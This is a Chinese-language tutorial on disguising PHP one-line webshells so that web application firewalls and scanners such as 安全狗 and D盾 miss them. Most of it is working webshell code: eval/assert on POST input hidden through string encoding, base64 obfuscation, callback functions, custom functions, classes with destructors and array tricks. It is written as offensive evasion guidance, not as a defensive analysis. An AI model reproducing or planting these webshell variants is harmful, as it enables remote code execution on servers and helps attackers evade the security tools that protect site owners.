前言
這篇文章寫一些php木馬免殺的一些技巧,希望對大家有點幫助。這里解釋一下什么是php木馬,這里大體分為三種:
- 能完成寫入文件、列目錄、查看文件、執行一些系統命令等少量功能的,這種的是“小馬”。
- 可以在目標服務器上執行php代碼,並和一些客戶端(如菜刀、冰蠍)進行交互的一句話木馬。
- 根據 PHP 語法,編寫較多代碼,並在服務器上執行,完成大量間諜功能的“大馬”
以上php木馬我們一般我們統稱為webshell,這篇文章主要寫一下如何對一句話木馬變異變形來繞過WAF的查殺。
一句話木馬原理
講php一句話木馬免殺之前,先簡單說一下一句話木馬原理,這樣才能更好的舉一反三。
先看代碼:
<?php eval($_POST["shell"]);?>
其中eval就是執行命令的函數,官方給的說明是eval — 把字符串作為PHP代碼執行
函數eval()語言結構是 非常危險的,因為它允許執行任意 PHP 代碼。
還有一點需要注意:因為是一個語言構造器而不是一個函數,不能被 可變函數 調用。
可變函數:通過一個變量,獲取其對應的變量值,然后通過給該值增加一個括號(),讓系統認為該值是一個函數,從而當做函數來執行。
說的在通俗一點,就是如果你這樣用<?php $a=eval;$a() ?>
是不行的,所以變形免殺的時候不夠靈活,咱們找其他的函數代替,后面講免殺再詳細說。
$_POST['shell']就是接收的數據。也可以使用$_GET或者$_REQUEST。eval函數把接收的數據當作php代碼來執行。這樣我們就能夠讓插了一句話木馬的網站執行我們傳遞過去的任意php語句。這便是一句話木馬的強大之處。
下面通過幾種方法講一講木馬的免殺
相同功能函數替換
一般WAF查殺,就是檢查關鍵字,而eval上文說過不夠靈活,這里可以替換成assert,assert函數PHP手冊的解釋是:
assert() 回調函數在構建自動測試套件的時候尤其有用,因為它們允許你簡易地捕獲傳入斷言的代碼,並包含斷言的位置信息。當信息能夠被其他方法捕獲,使用斷言可以讓它更快更方便!
而我們光替換還是遠遠不夠,還是無法逃過WAF查殺,這樣就需要變形了,所以第二種方法字符串變形。繞安全狗比較靠譜,因為安全狗更注重形。而PHP操作字符串的函數非常多,如下圖:
這里也總結了一些:
convert_uudecode() #解碼一個 uuencode 編碼的字符串。
convert_uuencode() #使用 uuencode 編碼一個字符串。
ucwords() #函數把字符串中每個單詞的首字符轉換為大寫。
strrev () #反轉字符串
trim() #函數從字符串的兩端刪除空白字符和其他預定義字符。
substr_replace() #函數把字符串的一部分替換為另一個字符串
substr() #函數返回字符串的一部分。
strtr() #函數轉換字符串中特定的字符。
strtoupper() #函數把字符串轉換為大寫。
strtolower() #函數把字符串轉換為小寫。
implode() #將一個一維數組的值轉化為字符串。
str_rot13() #函數對字符串執行 ROT13 編碼。
舉個例子:
<?php
// 使用 uuencode 編碼一個字符串
$a=convert_uuencode("assert");
$b=convert_uudecode($a);
$b($_POST["shell"]);
?>
這里就不一一舉例了。
自定義函數繞過
舉個例子:
<?php
function shadog($a){
$a($_POST["shell"]);
}
shadog(assert);
?>
這種方法繞安全狗比較靠譜,在D盾面前就比較弱智了。
回調函數
call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
現在大部分回調函數已經被殺毒軟件加入全家桶了,得找那比較生僻得。
比如:
<?php
forward_static_call_array(assert,array($_POST["shell"]));
?>
上面說大部分回調函數被殺毒軟件加入全家桶,那如何繞過呢?還可以變形,比如我再定義一個函數,或者再定義一個類。
比如我定義一個函數:
<?php
function shawaf($a,$b){
forward_static_call_array($a,$b);
}
shawaf(assert,array($_POST["shell"]));
?>
也可以定義一個類:
<?php
class shawaf{
var $a;
var $b;
function __construct($a,$b)
{
$this->a=$a;
$this->b=$b;
}
function test(){
forward_static_call_array($this->a,$this->b);
}
}
$s1= new shawaf(assert,array($_POST["shell"]));
$s1->test();
?>
特殊字符干擾
特殊字符干擾,要求能干擾到殺毒軟件得正則判斷,還要代碼能執行。比如網上流傳得連接符。
舉個例子:
<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>
數組繞過
可以把代碼放入數組中,執行繞過:
<?php
$a=strrev ("tressa");
$b=[''=>$a($_POST["shell"])];
?>
類繞過
舉個例子:
<?php
class shawaf
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new shawaf;
$b->a = $_POST["shell"];
?>
編碼繞過
這個比較常用得是base64_decode,和base64_encode這一對。因為他的正則匹配可以加入一些下划線干擾殺軟。
舉個例子:
<?php
$a = base64_decode("YXNz+ZX____J____0");
$a($_POST["shell"]);
?>
小結
通過上面得方法,基本可以有上百種變形,多看看PHP手冊。還有一點值得注意,就是PHP7.1之后得版本,已經不能使用強大的assert()函數了。在總結一點,結合殺毒軟件的特性來構造相應的免殺方法。比如安全狗殺型,D盾殺參,對於關鍵詞的后傳入對於繞過主流殺軟都是比較好的。